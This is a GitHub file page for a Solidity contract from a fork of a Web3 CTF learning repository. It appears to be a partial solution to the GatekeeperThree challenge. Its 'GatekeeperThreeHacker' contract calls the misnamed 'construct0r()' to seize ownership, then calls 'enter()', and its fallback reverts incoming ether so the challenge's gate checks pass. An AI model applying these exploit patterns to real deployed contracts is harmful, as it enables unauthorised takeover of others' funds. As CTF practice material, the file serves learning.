forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
GatekeeperThree.sol
37 lines (30 loc) · 904 Bytes
/
GatekeeperThree.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IGatekeeperThree {
function trick() external view returns (address);
function construct0r() external;
function enter() external;
function createTrick() external;
function getAllowance(uint256 _password) external;
}
interface ISimpleTrick {
function checkPassword(uint256 _password) external returns (bool);
function trickInit() external;
function trickyTrick() external;
}
contract GatekeeperThree {
receive() external payable {}
}
contract GatekeeperThreeHacker {
IGatekeeperThree gatekeeperThree;
constructor(address _gatekeeperThree) {
gatekeeperThree = IGatekeeperThree(_gatekeeperThree);
gatekeeperThree.construct0r();
}
function hackEnter() external payable {
gatekeeperThree.enter();
}
receive() external payable {
revert();
}
}